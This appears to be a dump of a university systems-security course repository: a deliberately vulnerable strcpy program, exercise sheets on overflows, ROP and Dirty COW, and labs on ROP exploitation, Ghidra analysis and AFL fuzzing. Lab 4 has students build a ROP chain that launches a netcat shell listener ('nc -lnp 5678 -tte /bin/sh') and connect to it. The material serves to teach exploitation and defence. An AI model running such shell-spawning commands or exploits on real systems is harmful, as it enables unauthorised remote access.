-------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | int copyData(char *string) 6 | { 7 | char buf[32]; 8 | strcpy(buf, string); 9 | return (0); 10 | } 11 | 12 | int main(int argc, char *argv[]) 13 | { 14 | char buffer[700]; 15 | FILE *file; 16 | if (argc !=2) 17 | { 18 | printf("[*] invalid arguments!\n [*] > %s file_name\n",argv[0]); 19 | exit(0); 20 | } 21 | printf("opening file\n"); 22 | file = fopen(argv[1],"rb"); 23 | if (!file) 24 | { 25 | //printf("file not opened %s", strerror(errno)); 26 | fprintf(stderr,"file not opened %s", strerror(errno)); 27 | //printf("error"); 28 | return (0); 29 | } 30 | printf("file opened\n"); 31 | fread(buffer, 699,1,file); 32 | fclose(file); 33 | copyData(buffer); 34 | return (0); 35 | } 36 | 37 | 38 | -------------------------------------------------------------------------------- /docs/2021/diagrams/printf-stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/diagrams/printf-stack.png -------------------------------------------------------------------------------- /docs/2021/diagrams/shellcode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/diagrams/shellcode.png -------------------------------------------------------------------------------- /docs/2021/diagrams/stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/diagrams/stack.png -------------------------------------------------------------------------------- /docs/2021/exercises/EXERCISE1.md: -------------------------------------------------------------------------------- 1 | # Exercises sheet 1 2 | 3 | ## Assembly/binary/ABI: 4 | 5 | 1. "By design, x86-64 calling convention is faster than x86-32 cdecl calling convention". What do you think about this statement? 6 | 2. How do you recognize the access to function's arguments and function's local variable at the assembly level. You can assume that these are always accessed w.r.t. RBP register. 7 | 8 | ## Stack buffer overflow: 9 | 10 | 1. Let us assume that there is a buffer overflow in a function due to the presence of one string buffer B. There are other local variables present in the function. Some declared (in the source code) before B and some after B. Location wise (w.r.t. the address of these variables, considering the address &B), which of these local variables can be overflown as a result of overflowing B? For example, in the video lecture, I mentioned about the concept of WYSINWYX. Can you think of a scenario where the above point 1 changes your understanding of valriable locations when you look at the binary of the code? Consider [lottary.c](../code/lottary.c) for example-- can you always overflow guess variable? 11 | 2. Read about off-by-one error which is also a form of buffer overflow, but with a limited scope of overflowing. 12 | 13 | ## Format String: 14 | 15 | 1. read about %n specifier and think about what can be done with it? Give a small scenario which uses this specifier to change the behavior of your code. You can write any insecure code yourself and be creative in using %n to change the program behaviour. 16 | 2. For the example, given on the last slide [format2.c](../code/format2.c), think about the problem and exploitation on x86-32 and x86-64 bit systems. Hint: calling convention! The first example, discussed [format1.c](../code/format1.c) 17 | 18 | ## Concurrency Vulnerabilities: 19 | 20 | 1. Reproduce in a virtual machine the Dirty COW vulnerabilities. 21 | Please, refer to the [website](https://dirtycow.ninja/). 22 | You may need to run a specific version of the kernel for this to work. 23 | Look at how to setup virtual machines using [vagrant](https://learn.hashicorp.com/collections/vagrant/getting-started). 24 | You will need to setup a vagrant box and install (or compile) a specific version of the kernel. 25 | This can be done in the vagrant provision script. 26 | You are encouraged to use Google liberally! 27 | 28 | 2. Explain the example code provided on the Dirty COW website. 29 | -------------------------------------------------------------------------------- /docs/2021/exercises/EXERCISE2.md: -------------------------------------------------------------------------------- 1 | # Exercises sheet 2 2 | 3 | 1. Define the principle of least privileges. 4 | 2. Why Linux basic discretionary access control scheme does not adhere to this principle? 5 | 3. Describe the difference between DAC and MAC. 6 | 4. Explain the Bell-LaPadula Model and the Biba Model. 7 | 5. Why a reference monitor is required? 8 | 6. Research how basic access control is implemented in Windows. 9 | 7. Explain why a system such as SELinux is necessary. 10 | 8. In normal Linux DAC access check are only performed on file open operation. 11 | However, in SELinux, they are checked on any operation to the file. 12 | Explain why this change was made. 13 | 9. Look at the [Yama LSM documentation](https://www.kernel.org/doc/html/v4.15/admin-guide/LSM/Yama.html) and its [code](https://github.com/torvalds/linux/blob/master/security/yama/yama_lsm.c). Try to explain how it works. 14 | -------------------------------------------------------------------------------- /docs/2021/exercises/EXERCISE3.md: -------------------------------------------------------------------------------- 1 | # Exercises sheet 3 2 | 3 | ## Heap Overflow: 4 | 0. During the video lecture, we mentioned about "Where and what" primitive for an vulnerability/exploit. What do you understand by it from an attacker's perspective. In what way, does heap overflow vulnerability provide this primitive (You can consider the example used in the video to explain it)? 5 | 1. During the lecture video, I referred to integer overflow as a cause for incorrect heap size calculation, leading to heap overflow. What is integer overflow and how does it help (leads to) heap overflow ([relevant reading](http://phrack.org/issues/60/10.html#article))? For example, what wrong could happen with the malloc allocation w.r.t. size in the following code: 6 | ```C 7 | int main(int argc, char * argv[]) 8 | { 9 | unsigned short i,n, size; 10 | char *p, *q; 11 | if (argc <2) 12 | { 13 | printf("1 num argument is required"); 14 | return -1; 15 | } 16 | if (atoi(argv[1]) <= 0 ) return -1;// no negative or zero. 17 | i=atoi(argv[1]); 18 | size=i*2; 19 | printf("size: %d, i=%d\n ",size,i); 20 | p=(char *)malloc(size); 21 | ... 22 | } 23 | ``` 24 | 25 | 2. In the context of malloc *size* (as its parameter), how will you check if the size calculation may contain integer overflow? \[Hint: (re)read about C `short`, `int`, `long` type w.r.t. integer overflow. (see the above article again.). For example: there will be overflow in the expression A + B if for int A and int B, you have A > INT_MAX - B \] 26 | 3. Consider the following code snippet: 27 | ```C 28 | int i; 29 | i = INT_MAX; // 2,147,483,647(value of INT_MAX) 30 | i++; 31 | printf("i = %d\n", i); //@P1 32 | ``` 33 | 34 | Can you tell (without executing the code), what value of i will be printed at P1? Later you can compile it (after completing the code) and see if your answer matched with the actual executed code. 35 | 36 | 37 | ## Return-Oriented Programming: 38 | 1. Read the original article on ROP (up to section 2 is sufficient) By Shacham "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls" [here](https://hovav.net/ucsd/dist/geometry.pdf). In *section 1.2.5 Wait, What about Zero Bytes*, what problem do you see when the address of a particular gadget contains \00 (e.g. `0x80f400`)? 39 | 2. Suppose you are acting as a security analyst and oversee the operation of a big company. Can you think of a method that may detect a ROP based attack? 40 | 3. In the example that we discussed in the video, why do we need to have a shadow-stack? 41 | 4. Suppose you have the following gadgets (in Intel format, i.e. 1st operand in destination): 42 | 43 | 0x4033ae22: xor eax eax ret; 44 | 0x40334433: mov ecx eax ret; 45 | 0x403322aa: inc eax ret; 46 | 0x40332023: mov ebx ecx ret; 47 | Construct a ROP chain (the sequence of addresses only. no need to write a code) that will copy 'A' in the ebx register. -------------------------------------------------------------------------------- /docs/2021/exercises/EXERCISE4.md: -------------------------------------------------------------------------------- 1 | # Exercises sheet 4 2 | ## Static Analysis: 3 | 1. What do you understand by a complete and sound program analysis technique? 4 | 2. What are the code patterns (constructs) that, in general, makes static analysis hard or inaccurate? 5 | 3. What do you understand by fix-point iteration from dataflow analysis point of view? 6 | 4. What is a transfer function for a dataflow analysis 7 | 5. What is a interprocedural control flow graph? 8 | 6. 6. Familiarize yourself with Ghidra after watching the Ghidra Scripting video (the video will be available for the lab). Try running [cfg-gen-ghidra.py](../code/cfg-gen-ghidra.py) within Ghidra on any binary. 9 | 10 | ## Dynamic Analysis: 11 | 12 | 1. Why does a whole program analysis (all possible executions) is an issue for a dynamic analysis? 13 | 2. What is program instrumentation? 14 | 3. "Often static code instrumentation is faster than dynamic instrumentation"-- What do you think about it and why? 15 | 4. Intel Pintool Specific questions. 16 | 1. What are instrumentation and analysis routines? 17 | 2. Download pintool as described in the lecture. Go to the directory source/tools/ManualExamples. Copy [inscount-dif.cpp](../code/inscount-dif.cpp) in that directory. What does this new pintool does? 18 | 3. Edit makefile.rules by appending 'inscount-dif' at the line starting with TEST_TOOL_ROOTS. Download [loop2.c](../code/loop2.c) and compile it as loop. Compile this new pintool as follows: 19 | 20 | $ export PIN_ROOT= 21 | $ make obj-intel64/inscount-dif.so TARGET=intel64 22 | $ ../../../pin -t obj-intel64/inscount-dif.so -- loop 23 | 24 | Open inscount.out. You will see two numbers. icount and icount2, with *icount2 < icount*. Can you explain the reason? [Hint: Something to so with instrumentation and analysis routines!!] 25 | -------------------------------------------------------------------------------- /docs/2021/exercises/EXERCISE5.md: -------------------------------------------------------------------------------- 1 | # Exercises sheet 5 2 | ## Defenses: 3 | 4 | 1. Explain how does a canary 0xff0d000a works as stack canary to protect against overflowing return address where the buffer overflow happens via strcpy()? 5 | 2. Read the [article](https://www.usenix.org/system/files/login/articles/105516-Schwartz.pdf) and answer the following questios: 6 | 7 | 1. how does W xor X protects against typical shell injection attack as a part of payload (e.g. in the case of a stack buffer overflow vulnerability)? 8 | 2. What are the shortcomings of W xor X (DEP) w.r.t. to ite inability to prevent attacks? 9 | 3. How can mprotect function be used to perform an attack in the presence of a small unrandomized code region with a shellcode to execute? \[see the section "Unrandomized Code"\] 10 | 11 | 3. Why does C++ code imposes more challenges for a *fine-grained* CFI? 12 | 4. From your Lab 2, you exploited a stack buffer overflow bug in a C program. Which of the CFI-- forward or backward edge-- could have been used to prevent that and why? 13 | 5. Why do virtual calls lead to more overhead for CFI solution? 14 | 15 | ## Fuzzing: 16 | 17 | 1. For an unknown input file format, which of the fuzzing types is more appropriate-- mutational or generational (grammar) and why? 18 | 2. What are shortcomings of blackbox fuzzing \[hint: what is the proxy metric for a good fuzzer?\] 19 | 3. If you were asked to use Pintool to measure code-coverage for a fuzzer, how you will go about it? (you don't have to provide any pintool code). 20 | 4. Read the article "Fuzzing: Hack, Art, and Science" [pdf link](https://patricegodefroid.github.io/public_psfiles/Fuzzing-101-CACM2020.pdf) and answer the following questions: 21 | 1. Why fuzzing is more challenging for netwroked/server type applications? 22 | 2. On page 74, 3rd column, it is written "Note that full program statement coverage is a "necessary but not sufficient" condition to find all the bugs in a program.". Can you elaborate this statement why it is necessary but not sufficient? 23 | 3. In general, which fuzzing type is suitable for fuzzing XML and C code parsers/compiler? -------------------------------------------------------------------------------- /docs/2021/exercises/EXERCISE6.md: -------------------------------------------------------------------------------- 1 | # Exercises sheet 6 2 | 3 | 1. Check the slide 4 of Week 6 - video 1. Based on past lectures, design conceptually the steps necessary to deploy a rootkit. 4 | 2. Explain how TPM could be used to detect rootkits. 5 | 3. Explain how [LoadPin](https://www.kernel.org/doc/html/latest/admin-guide/LSM/LoadPin.html) and [lockdown](https://thenewstack.io/linux-kernel-finally-gets-its-lockdown/) LSMs may help prevent rootkit installation. 6 | 4. Discuss how the LSM framework (see previous lecture) could be used to prevent the installation of a kernel rootkit (e.g., see [kernel_read_file hook](https://github.com/torvalds/linux/blob/master/include/linux/lsm_hooks.h#L639) and [kernel_post_read_file hook](https://elixir.bootlin.com/linux/latest/source/include/linux/lsm_hooks.h#L645)). In your opinion would this represent a perfect solution? 7 | 5. What is the **threat model** for a single sign-on service within Trustzone on an Android device? 8 | 6. What is the **Trusted Computing Base** for a single sign-on service within Trustzone on an Android device? 9 | 7. Compare and contract Intel SGX and ARM Trustzone. 10 | -------------------------------------------------------------------------------- /docs/2021/exercises/EXERCISE7.md: -------------------------------------------------------------------------------- 1 | # Exercises sheet 7 2 | 3 | 1. Explain what is speculative execution. 4 | 2. Research three types of dynamic branch predictor. 5 | 3. Explain Meltdown vulnerability. 6 | 4. Can you reproduce locally the Meltdown vulnerability? (you may need access to hardware & the right OS version, do this only on a dev machine) 7 | 5. What is rowhammer bug and how does it affect software execution? 8 | 6. For rowhamerring, why do we need to select `>=2` aggressor rows? 9 | -------------------------------------------------------------------------------- /docs/2021/labs/ELC_Inside_LSM.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/ELC_Inside_LSM.pdf -------------------------------------------------------------------------------- /docs/2021/labs/LAB4.md: -------------------------------------------------------------------------------- 1 | # Lab 4 - ROP based Exploitation 2 | 3 | **Task 1**: Exploit the program and use ROPgadget to generate a ROP shellcode. 4 | 5 | **Task 2**: Write using ROPgadget a custom shellcode to spawn a reverse shell. 6 | 7 | Setting up the environment: 8 | 9 | 1. Here's a Vagrant file for this weeks lab that we have tested. 10 | 11 | ``` 12 | # -*- mode: ruby -*- 13 | # vi: set ft=ruby : 14 | 15 | Vagrant.configure("2") do |config| 16 | config.vm.define "box" do |box| 17 | box.vm.box = "ubuntu/bionic64" 18 | box.vm.hostname = "lab4-box" 19 | box.vm.provider "virtualbox" do |virtualbox| 20 | virtualbox.name="lab4-box" 21 | end 22 | end 23 | end 24 | ``` 25 | 26 | Run the usual `vagrant up` to bring the VM up, and `vagrant ssh` to login. Your current folder will be mounted in `/vagrant` as before. 27 | You'll need to install some extra dependencies for this lab to get going comfortably. From a shell: 28 | 29 | ``` 30 | sudo apt update 31 | sudo apt install -y python3-pip gdb gcc-multilib 32 | pip3 install capstone 33 | ``` 34 | 35 | 1. Download ROPGadget and install from: [URL](https://github.com/JonathanSalwan/ROPgadget). Its a github repo, so you can either clone it or (suggested) simple use "Download zip" option. 36 | 2. Download netcat (the latest release of netcat that comes pre-installed in Ubuntu has removed a particular option (-e) that we need. 37 | Having said that, official netcat release still shipped with that option! So, we are not completely artificial ;). [URL:](https://sourceforge.net/projects/netcat/). However, the same is also avaialble [here](../code/nc071.tar.gz). 38 | 3. untar it and build: `./configure` and `make` command (**do not do** *make install*!) 39 | 4. move `src/netcat` to `/tmp/nc`: `cp src/netcat /tmp/nc` (check if the binary is working as expected `/tmp/nc --help`). 40 | 5. Compile [vuln3.c](../code/vuln3.c) as `gcc -fno-stack-protector -m32 -static vuln3.c -o vuln3-32` 41 | 6. Find the amount of padding you'll need to overflow the buffer and start overwriting the saved return address. 42 | 7. Use ROPgadget to build a ROP shellcode. 43 | 44 | ROPgadget --binary vuln3-32 --ropchain > out-rop.txt 45 | 46 | Have a look at `out-rop.txt`. You'll see that at the bottom there is a Python program which you can complete to generate your shellcode exploit (in particular the buffer padding). Run the program generate the exploit and test it works with the vulnerable program. 47 | 48 | 8. The shellcode in the previous step execve'd `/bin/sh`. This time we'd like you to run the following command: 49 | 50 | /tmp/nc -lnp 5678 -tte /bin/sh 51 | 52 | This command will spawn a reverse-shell server listening on localhost port 5678 that feeds all the input it gets into `/bin/sh`. Effectively enabling you to run programs remotely! 53 | We're giving helper files to consult which provide a similar exploit for a different machine: [exploit-nc.py](../code/exploit-nc.py), but you'll need to get it working on *your* machine. In particular the gadgets, configuration and Python version may be different! 54 | 55 | 9. Once successful, open another terminal and type: 56 | ``` 57 | /tmp/nc 127.0.0.1 5678 58 | pwd 59 | ``` 60 | You've got a reverse shell! 61 | 62 | # Hints 63 | 64 | 1. To figure out the padding needed to overflow the buffer try using binary search. If you run `perl -e 'print "A"x124, "DCBA"' >input` you can quickly test different inputs. What would you expect to see when you have correctly got control of the return address? What would you expect to see if you've gone too far compared to not far enough? 65 | 2. Can't concatenate strings and bytes? Just use bytes! `bytes("Your string", "ascii")`. 66 | 3. The calling convention for a system call on 32bit X86 Linux is: `eax` syscall number, `ebx,ecx,edx,esi,edi,ebp` arguments as required. 67 | 4. Try and get the exploit chain running first! Break on the first gadget (In GDB: `b *0x08BLABLA`) and check it is working as expected. Are things going into the right registers? (In GDB: `si`: step instruction, `i r`: info registers) 68 | 5. Once you're convinced the ROP chain is running the `strace` tool is very helpful to debug what system calls *actually* get made by your program. The `-v` flag will show all the arguments to system calls, `-e trace=execve` to just show `execve` calls. Does the call look like what you'd expect? You may have to add some new code to your exploit to get it working if the memory you're using isn't clean! 69 | 70 | # Optional bonus 71 | 72 | - Get the `nc` exploit going in 64-bit mode too! Is it easier or harder? 73 | - Have a play at using [pwntools](https://docs.pwntools.com/en/stable/) to write your exploit instead of ROPgadget. Is it easier? Harder? 74 | - Have a go at a return to libc exploit as discussed in the lecture. You'll need to defeat ASLR for this one. 75 | -------------------------------------------------------------------------------- /docs/2021/labs/LAB5.md: -------------------------------------------------------------------------------- 1 | # Lab 5 2 | Ghidra User guide at https://ghidra.re/docs/ 3 | ## Static Analysis Lab with Ghidra 4 | In this lab, we will develop a *trivial* static binary code analyzer that will search for known buffer overflow prone library functions like `strcpy`, `memcpy` etc. 5 | However, we will construct a backward callgraph based slice to know which functions call such vulnerable functions (because buffer overflow will affect these functions). 6 | Indeed, most of the vulnerabilities are found in the functions which call these vulnerable functions. 7 | Even though we call it a trivial scanner, you should know that several early code scanners were actually like the one we will build [see this paper](http://www.cs.virginia.edu/~evans/pubs/ieeesoftware.pdf). 8 | As a proof of concept, we will analyze a utility called `dnstracer` to find a known vulnerability [CVE-2017-9430](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430). 9 | Download this tool [dnstracer](../code/dnstracer-1.9.tar.gz). 10 | Extract and build the program (from the root directory, use commands `./configure` and `make`). 11 | This will create a binary `dnstracer`. 12 | we will use this binary later on for analysis. 13 | 14 | ### Steps for Ghidra Scripting 15 | 1. Download Ghidra and unzip it (I assume you have already done this!). 16 | 2. In [the video](https://web.microsoftstream.com/video/c6f34b71-ca81-46f8-88f5-a50718ff5b64), I showed you how to launch Ghidra and create a project. I also showed you how to open ScriptManager. In the ScriptManager window, there is a *list* sign on the right top corner menu (script directories). Click on it. In the subsequent window, you can either see a Ghidra_script directory added already and if not, create a ghidra_script directory in your home directory and add same via ScriptManager. 17 | 3. Download [call-graph-back-slice.py](../code/call-graph-back-slice.py) sample script in that direcroty. 18 | 4. This `call-graph-back-slice.py` file contains all the instructions you should follow. 19 | 5. After completing the code, load the `dnstracer` binary in the opened project and double-click it. Ghidra will ask to analyze it. Once done, open the ScriptManager and select your scripting file. Run it and check the output. 20 | -------------------------------------------------------------------------------- /docs/2021/labs/LAB6.md: -------------------------------------------------------------------------------- 1 | # Lab 6 2 | 3 | ## Fuzzing with AFL to detect Info Leak Attack 4 | 5 | In this lab, we will learn to fuzz using AFL-- an open source fuzzer from google. We have already seen the technique behind AFL in our lecture video. Now, lets see it in action! 6 | 7 | We will also explore a shortcoming of fuzzing, i.e. detection of information leak. Information leak is a type of buffer overread bug. Read [this](https://en.wikipedia.org/wiki/Buffer_over-read). The main issue is that such vulnereabilities do not result in any observable side-effects so as to enable fuzzing to detect it (WHY?). [Hearbleed](https://en.wikipedia.org/wiki/Heartbleed) is a type of such vulneerability that made news in 2014. We will try to make fuzzing detect this vulnerability in this lab (seems interesting?) 8 | 9 | Current compilers have a feature called sanitizer that are used as memory guard checks by statically instrumenting memory at different level of granularity. One of such sanitizers is called AddressSanitizer (ASan). This sanitizer is used to detected out-of-bound memory access. Which means that when we allocate memory, say on heap, it puts a "red-zone" around the allocated buffer. So, when at runtime, if we overwrite/read the buffer, we touch these red-zones, thereby aborting the program. [wiki for more refs](https://en.wikipedia.org/wiki/AddressSanitizer) 10 | 11 | I have implemented a simple version of heartbleed vulnerability. Check [heartbleed.c](../code/heartbleed.c). Read the comments in the code to find out what is the bug and how it can be triggered. Our goal for the lab is to find the bug via fuzzing. You will need a seed input to start fuzzing. use [heartbeat_normal.bin](../code/heartbeat_normal.bin) as seed input. You can use your Ubuntu 64-bit OS. 12 | Steps: 13 | 14 | 1. Download [AFL] (https://github.com/google/AFL). you can directly download the zip. 15 | 2. Unzip it. Enter the root directory (you can rename it as AFL). 16 | 3. Read README.md to find instruction to compile it. (note: you need not to install it.) 17 | 4. you will see new binaries being created. We are interested in 2 of them-- afl-fuzz and afl-gcc. type following to see if they are working: 18 | 19 | $ ./afl-fuzz --help 20 | $ ./afl-gcc --version 21 | 22 | 5. create these subdirectories in the root directory 23 | 24 | $ mkdir temp-in 25 | $ mkdir temp-out 26 | $ mkdir test-bins 27 | 28 | 6. Copy the above seed input into temp-in directory. 29 | 7. Compile heartbleed.c as follows: 30 | 31 | ./afl-gcc /heartbleed.c -o test-bins/heartbleed 32 | 33 | 8. Run AFl fuzzer as follows: 34 | 35 | ./afl-fuzz -i temp-input/ -o temp-out/ test-bins/heartbleed @@ 36 | 37 | 9. you will (most probably) see certain warning/suggestions from AFL, like below (and what I did): 38 | 39 | sanjay@sanjay-lap:~/tools/AFL$ ./afl-fuzz -i temp-input/ -o temp-out test-bins/heartbleed @@ 40 | afl-fuzz 2.56b by 41 | [+] You have 8 CPU cores and 3 runnable tasks (utilization: 38%). 42 | [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. 43 | [*] Checking CPU core loadout... 44 | [+] Found a free CPU core, binding to #0. 45 | [*] Checking core_pattern... 46 | 47 | [-] Hmm, your system is configured to send core dump notifications to an 48 | external utility. This will cause issues: there will be an extended delay 49 | between stumbling upon a crash and having this information relayed to the 50 | fuzzer via the standard waitpid() API. 51 | To avoid having crashes misinterpreted as timeouts, please log in as root 52 | and temporarily modify /proc/sys/kernel/core_pattern, like so: 53 | 54 | echo core >/proc/sys/kernel/core_pattern 55 | 56 | [-] PROGRAM ABORT : Pipe at the beginning of 'core_pattern' 57 | Location : check_crash_handling(), afl-fuzz.c:7316 58 | 59 | sanjay@sanjay-lap:~/tools/AFL$ echo core | sudo tee /proc/sys/kernel/core_pattern 60 | [sudo] password for sanjay: 61 | core 62 | sanjay@sanjay-lap:~/tools/AFL$ ./afl-fuzz -i temp-input/ -o temp-out test-bins/heartbleed 63 | afl-fuzz 2.56b by 64 | [+] You have 8 CPU cores and 3 runnable tasks (utilization: 38%). 65 | [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. 66 | [*] Checking CPU core loadout... 67 | [+] Found a free CPU core, binding to #0. 68 | [*] Checking core_pattern... 69 | [*] Checking CPU scaling governor... 70 | 71 | [-] Whoops, your system uses on-demand CPU frequency scaling, adjusted 72 | between 390 and 4101 MHz. Unfortunately, the scaling algorithm in the 73 | kernel is imperfect and can miss the short-lived processes spawned by 74 | afl-fuzz. To keep things moving, run these commands as root: 75 | 76 | cd /sys/devices/system/cpu 77 | echo performance | tee cpu*/cpufreq/scaling_governor 78 | 79 | You can later go back to the original state by replacing 'performance' with 80 | 'ondemand'. If you don't want to change the settings, set AFL_SKIP_CPUFREQ 81 | to make afl-fuzz skip this check - but expect some performance drop. 82 | 83 | [-] PROGRAM ABORT : Suboptimal CPU scaling governor 84 | Location : check_cpu_governor(), afl-fuzz.c:7378 85 | 86 | sanjay@sanjay-lap:~/tools/AFL$ export AFL_SKIP_CPUFREQ=1 87 | sanjay@sanjay-lap:~/tools/AFL$ ./afl-fuzz -i temp-input/ -o temp-out test-bins/heartbleed 88 | afl-fuzz 2.56b by 89 | [+] You have 8 CPU cores and 2 runnable tasks (utilization: 25%). 90 | [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. 91 | [*] Checking CPU core loadout... 92 | [+] Found a free CPU core, binding to #0. 93 | [*] Checking core_pattern... 94 | [*] Setting up output directories... 95 | [*] Scanning 'temp-input/'... 96 | [+] No auto-generated dictionary tokens to reuse. 97 | [*] Creating hard links for all input files... 98 | [*] Validating target binary... 99 | [*] Attempting dry run with 'id:000000,orig:heartbeat_normal.bin'... 100 | [*] Spinning up the fork server... 101 | [+] All right - fork server is up. 102 | 103 | 10. At this time, you will enter into the TUI of AFL. Let you fuzzer run for 10-15 min. While it is running, read docs/status_screen.txt to know what that TUI means and how you interprete fuzzing progress. After that see if you are getting any crash. In this case, you will not find any!! Remember it is a information leak bug, which will not result in a crash. 104 | 11. Stop the fuzzer (ctrl C). Check temp-out directory to find more about fuzzing results, like queue (what inputs were generated by fuzzer) and crash (if any!). 105 | 12. Now, lets try making program crash on overread, by using sanitizer. Compile the heartbleed.c again with the following options. 106 | 107 | ./afl-gcc -m32 -fsanitize=address /heartbleed.c -o test-bins/heartbleed-asan 108 | 109 | 13. Notice two extra options. *-fsanitize=address* to enable address sanitizer and *-m32* to make it 32-bit as ASan allocates crazy amount of VA, which creates problem at times. 110 | 14. Run fuzzer as: 111 | 112 | ./afl-fuzz -i temp-in/ -o temp-out test-bins/heartbleed-asan @@ 113 | 114 | 15. Most probably, you will again see the follwing warnings/suggestions: 115 | 116 | afl-fuzz 2.56b by 117 | [+] You have 8 CPU cores and 3 runnable tasks (utilization: 38%). 118 | [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. 119 | [*] Checking CPU core loadout... 120 | [+] Found a free CPU core, binding to #0. 121 | [*] Checking core_pattern... 122 | [*] Setting up output directories... 123 | [+] Output directory exists but deemed OK to reuse. 124 | [*] Deleting old session data... 125 | [+] Output dir cleanup successful. 126 | [*] Scanning 'temp-input/'... 127 | [+] No auto-generated dictionary tokens to reuse. 128 | [*] Creating hard links for all input files... 129 | [*] Validating target binary... 130 | [*] Attempting dry run with 'id:000000,orig:heartbeat_normal.bin'... 131 | [*] Spinning up the fork server... 132 | 133 | [-] Whoops, the target binary crashed suddenly, before receiving any input 134 | from the fuzzer! Since it seems to be built with ASAN and you have a 135 | restrictive memory limit configured, this is expected; please read 136 | /usr/local/share/doc/afl/notes_for_asan.txt for help. 137 | 138 | [-] PROGRAM ABORT : Fork server crashed with signal 6 139 | Location : init_forkserver(), afl-fuzz.c:2213 140 | 141 | 16. Run the fuzzer again with an extra option *-m*: 142 | 143 | ./afl-fuzz -m 600 -i temp-in/ -o temp-out test-bins/heartbleed-asan @@ 144 | 145 | 17. fuzzer should start now.. 146 | 147 | sanjay@sanjay-lap:~/tools/AFL$ ./afl-fuzz -m 600 -i temp-input/ -o temp-out/ test-bins/heartbleed-asan @@ 148 | afl-fuzz 2.56b by 149 | [+] You have 8 CPU cores and 3 runnable tasks (utilization: 38%). 150 | [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. 151 | [*] Checking CPU core loadout... 152 | [+] Found a free CPU core, binding to #0. 153 | [*] Checking core_pattern... 154 | [*] Setting up output directories... 155 | [+] Output directory exists but deemed OK to reuse. 156 | [*] Deleting old session data... 157 | [+] Output dir cleanup successful. 158 | [*] Scanning 'temp-input/'... 159 | [+] No auto-generated dictionary tokens to reuse. 160 | [*] Creating hard links for all input files... 161 | [*] Validating target binary... 162 | [*] Attempting dry run with 'id:000000,orig:heartbeat_normal.bin'... 163 | [*] Spinning up the fork server... 164 | [+] All right - fork server is up. 165 | len = 10, map size = 25, exec speed = 4314 us 166 | [+] All test cases processed. 167 | 168 | [+] Here are some useful stats: 169 | 170 | Test case count : 1 favored, 0 variable, 1 total 171 | Bitmap range : 25 to 25 bits (average: 25.00 bits) 172 | Exec timing : 4314 to 4314 us (average: 4314 us) 173 | 174 | [*] No -t option specified, so I'll use exec timeout of 40 ms. 175 | [+] All set and ready to roll! 176 | 177 | 18. Now, check the crash field in TUI. In the crash field, you will see number of crashes. Let the fuzzer run for 15-20 min. Number of unique crashes should increase (max will be ~5). One of them should be your heartbleed bug (hurray :D ). 178 | 19. Stop the fuzzer and check the temp-out/crashes directory. there should be few inputs, corresponding to crashes. 179 | 20. for each of those inputs, run the following command: 180 | 181 | $ ./test-bins/heartbleed-asan 182 | 183 | 21. One fo such input should give you the following output: 184 | 185 | ==28681==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf59007b7 at pc 0xf7a5b8be bp 0xffffce28 sp 0xffffc9f8 186 | READ of size 32512 at 0xf59007b7 thread T0 187 | #0 0xf7a5b8bd (/usr/lib32/libasan.so.4+0x778bd) 188 | #1 0x565565e4 in memcpy /usr/include/bits/string_fortified.h:34 189 | #2 0x565565e4 in process_heartbeet ../../temp/labs3-heartbl/heartbleed.c:54 190 | #3 0x565560d1 in main ../../temp/labs3-heartbl/heartbleed.c:96 191 | #4 0xf7823e90 in __libc_start_main (/lib32/libc.so.6+0x18e90) 192 | #5 0x565562cf (/home/sanjay/tools/AFL/test-bins/heartbleed-asan+0x12cf) 193 | 194 | 195 | NOTE: the way AFL names crashing inputs, sometimes the above step may not show you the same output, because the input path was not interpreted properly. in that case, either use quotes or rename the inputs to some simpler names. 196 | 197 | -------------------------------------------------------------------------------- /docs/2021/labs/LSm2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/LSm2.pdf -------------------------------------------------------------------------------- /docs/2021/labs/Lab 5 Ghidra guide.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/labs/Lab 5 Ghidra guide.docx -------------------------------------------------------------------------------- /docs/2021/labs/Lab 5 call-graph-back-slice-solution.py: -------------------------------------------------------------------------------- 1 | # For Ghidra Scripting tutorial purpose. 2 | # Copy this file into ghidra_scripts directory (the one which is configured during installation of ghidra, where ghidra can import it.) 3 | #@author Sanjay Rawat 4 | #@category _NEW_ 5 | #@keybinding 6 | #@menupath 7 | #@toolbar 8 | 9 | #GHIDRA IMPORTS ############################################################### 10 | #from ghidra.program.model.block import * 11 | #from ghidra.program.model.listing import * 12 | import ghidra.program.model.block as BL 13 | from ghidra.program.model.lang.OperandType import SCALAR, REGISTER 14 | import generic.continues as CNT 15 | import ghidra.app.util.bin.ByteProvider 16 | import ghidra.app.util.bin as UBIN 17 | import ghidra.app.util.bin.format.elf as ELF 18 | import java.io as IO 19 | import ghidra.program.util as PUTIL 20 | #################################################################################### 21 | from collections import deque 22 | import struct 23 | import shutil 24 | import os 25 | import sys 26 | import copy 27 | ########################################################################################### 28 | 29 | ######## Ghidra global definitions ############## 30 | sbm=BL.SimpleBlockModel(currentProgram, False) 31 | ref_manager=currentProgram.getReferenceManager() 32 | func_manager=currentProgram.getFunctionManager() 33 | ################################################# 34 | 35 | def get_function_information(): 36 | file_content_dict = {} 37 | function_list = [] 38 | # Get 